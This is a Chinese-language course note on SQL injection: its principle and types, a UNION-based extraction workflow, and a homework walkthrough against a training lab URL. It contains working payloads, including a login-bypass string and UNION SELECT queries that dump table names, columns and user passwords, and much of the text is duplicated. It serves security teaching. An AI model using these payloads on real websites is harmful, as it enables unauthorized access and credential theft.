3.sql注入原理

简介: 当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

SQL注入产生的原理

Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

SQL注入的本质

把用户输入的数据当做数据库语言来执行,违背了数据与代码分离的原则

SQL注入的两个关键点

1.    用户能够控制输入的内容

2.    web应用能够把用户输入的数据带入到数据库中查询

SQL注入的危害

●     盗取网站的铭感信息

●     绕过后台登录认证

万能密码  ' or '1' = '1'  #

●     借助SQL注入漏洞提权

●     读取文件信息

SQL注入的分类

根据注入位置分类:GET型、POST型、Head头注入 根据反馈结果分类:有回显(显错注入)、无回显(盲注) 根据数据类型分类: 数字型:输入的参数为整型,如id、年龄、页码等 字符型:输入的参数为字符串 数字型与字符型最大的区别在于:数字型不需要单引号闭合,而字符串型一般需要弹引号闭合

SQL这入的流程

1.    寻找SQL注入点

2.    判断闭合方式  

    ?id = 1asdfa
               有报错:数字型,无闭合或)闭合

              无报错:字符型     ——>>    再判断闭合方式       ' "   ')    '))  ")  

3.验证漏洞

  ?id=1    and  1=1 —+  正常显示

  ?id=1    and  1=0 —+  无显示

4.判断列数

  ?id=1'    and  1=1 order by 1  —+     回显正确

  ?id=1'   and  1=1 order by 2  —+     回显正确

  ?id=1'  and  1=1 order by 3  —+     回显正确

  ?id=1'   and  1=1 order by 4  —+     回显报错,说明只有3

  ?id=1'  and  1=1 order by .... —+

5.判断回显位

?id=0'   and  1=1 union select 1,2,3   —+

6.回显位的位置注入SQL语句查询数据库名,数据库版本信息

?id=0'   and  1=1 union select 1,database(),3   —+

?id=0'   and  1=1 union select 1,version(),3   —+

7.回显位的位置注入SQL语句查询表名

?id=0'   and  1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),3   —+

注意:数据库这里可以直接写database(),也可以写上面查询出来的表名security

 

 

8.回显位的位置注入SQL语句查询字段

union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名'       and table_name='users'   )  --+

9.回显位的位置注入SQL语句查询字段值

?id=0'   and  1=1 union select 1,select group_concat(id,password) from users,3   —+

 

 

 

 

SQL注入盲注的分类

基于时间延迟的盲注

基于布尔判断的盲注

基于报错显示的盲注

 

 

SQL注入常用的函数

substr(string,start,length)


SQL注入产生的原理

Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

SQL注入的本质

把用户输入的数据当做数据库语言来执行,违背了数据与代码分离的原则

SQL注入的两个关键点

1.    用户能够控制输入的内容

2.    web应用能够把用户输入的数据带入到数据库中查询

SQL注入的危害

●     盗取网站的铭感信息

●     绕过后台登录认证

万能密码  ' or '1' = '1'  #

●     借助SQL注入漏洞提权

●     读取文件信息

SQL注入的分类

根据注入位置分类:GET型、POST型、Head头注入 根据反馈结果分类:有回显(显错注入)、无回显(盲注) 根据数据类型分类: 数字型:输入的参数为整型,如id、年龄、页码等 字符型:输入的参数为字符串 数字型与字符型最大的区别在于:数字型不需要单引号闭合,而字符串型一般需要弹引号闭合

SQL这入的流程

1.    寻找SQL注入点

2.    判断闭合方式  

    ?id = 1asdfa
               有报错:数字型,无闭合或)闭合

              无报错:字符型     ——>>    再判断闭合方式       ' "   ')    '))  ")  

3.验证漏洞

  ?id=1    and  1=1 —+  正常显示

  ?id=1    and  1=0 —+  无显示

4.判断列数

  ?id=1'    and  1=1 order by 1  —+     回显正确

  ?id=1'   and  1=1 order by 2  —+     回显正确

  ?id=1'  and  1=1 order by 3  —+     回显正确

  ?id=1'   and  1=1 order by 4  —+     回显报错,说明只有3

  ?id=1'  and  1=1 order by .... —+

5.判断回显位

?id=0'   and  1=1 union select 1,2,3   —+

6.回显位的位置注入SQL语句查询数据库名,数据库版本信息

?id=0'   and  1=1 union select 1,database(),3   —+

?id=0'   and  1=1 union select 1,version(),3   —+

7.回显位的位置注入SQL语句查询表名

?id=0'   and  1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),3   —+

注意:数据库这里可以直接写database(),也可以写上面查询出来的表名security

 

 

8.回显位的位置注入SQL语句查询字段

union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名'       and table_name='users'   )  --+

9.回显位的位置注入SQL语句查询字段值

?id=0'   and  1=1 union select 1,select group_concat(id,password) from users,3   —+

 

 

 

 

SQL注入盲注的分类

基于时间延迟的盲注

基于布尔判断的盲注

基于报错显示的盲注

 

 

SQL注入常用的函数

substr(string,start,length)

image.png



mid

 

 

left(string,n)

image.png


ord(char)

image.png


ascii(str)

将字符串转化为ascii

length(string)

截取字符串的长度

image.png



ifnull(str1,str2)

image.png

 

 

 

 

靶场

蚁景 Lab

 http://120.27.61.239:8007/

 

 

 

作业:

第一关:基于数字的注入


http://120.27.61.239:8007/source/index.php?id=1

判断显示位

http://120.27.61.239:8007/source/index.php?id=0

+UNION+ALL+SELECT+1,2,3

--+

image.png


获取数据库  数据库版本

http://120.27.61.239:8007/source/index.php?id=0

+UNION+ALL+SELECT+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())

--+

image.png

 

 

获取数据库里面的表

http://120.27.61.239:8007/source/index.php?id=0

+UNION+ALL+SELECT+1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE())

--+

image.png



获取数据库表里面的字段

http://120.27.61.239:8007/source/index.php?id=0union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user'),3

--+

image.png



获取字段里面的值

http://120.27.61.239:8007/source/index.php?id=0union select 1,(select group_concat(id,0x7e,password,0x7e)from users),3 --+

image.png

 

 

 

 

 

 

第二关:基于字符得注入

image.png



相关文章
|
4月前
|
SQL 测试技术 项目管理
轻松学习SQL外键约束的核心原理和实用技巧
轻松学习SQL外键约束的核心原理和实用技巧
48 0
|
5月前
|
SQL HIVE
Hive sql 执行原理
Hive sql 执行原理
43 0
|
9天前
|
SQL 分布式计算 资源调度
一文解析 ODPS SQL 任务优化方法原理
本文重点尝试从ODPS SQL的逻辑执行计划和Logview中的执行计划出发,分析日常数据研发过程中各种优化方法背后的原理,覆盖了部分调优方法的分析,从知道怎么优化,到为什么这样优化,以及还能怎样优化。
103458 0
|
3月前
|
SQL 存储 缓存
SQL底层执行原理详解
SQL底层执行原理详解
|
3月前
|
SQL 存储 关系型数据库
MySQL索引原理以及SQL优化
MySQL索引原理以及SQL优化
66 0
|
3月前
|
SQL 编译器 网络安全
【网络安全 | SQL注入】一文讲清预编译防御SQL注入原理
【网络安全 | SQL注入】一文讲清预编译防御SQL注入原理
84 0
|
8月前
|
SQL 安全 PHP
什么是 SQL 注入攻击,SQL 注入攻击的原理是什么
什么是 SQL 注入攻击,SQL 注入攻击的原理是什么
|
4月前
|
SQL 存储 关系型数据库
4.2.2 MySQL索引原理以及SQL优化
4.2.2 MySQL索引原理以及SQL优化
|
4月前
|
SQL 关系型数据库 MySQL
04SQL注入原理与实践
【1月更文挑战第5天】给单位零基础小伙伴准备的网安入门教程,本教程是基于蚁景实验室搭建,基于自建虚拟机搭建需自行准备前置环境,04SQL注入原理与实践 ,请遵守网络安全法!请遵守网络安全法!请遵守网络安全法!请勿破坏公共网络网络安全!
|
4月前
|
SQL 存储 关系型数据库
MySQL索引原理(索引、约束、索引实现、索引失效、索引原则)以及SQL优化
MySQL索引原理(索引、约束、索引实现、索引失效、索引原则)以及SQL优化
137 1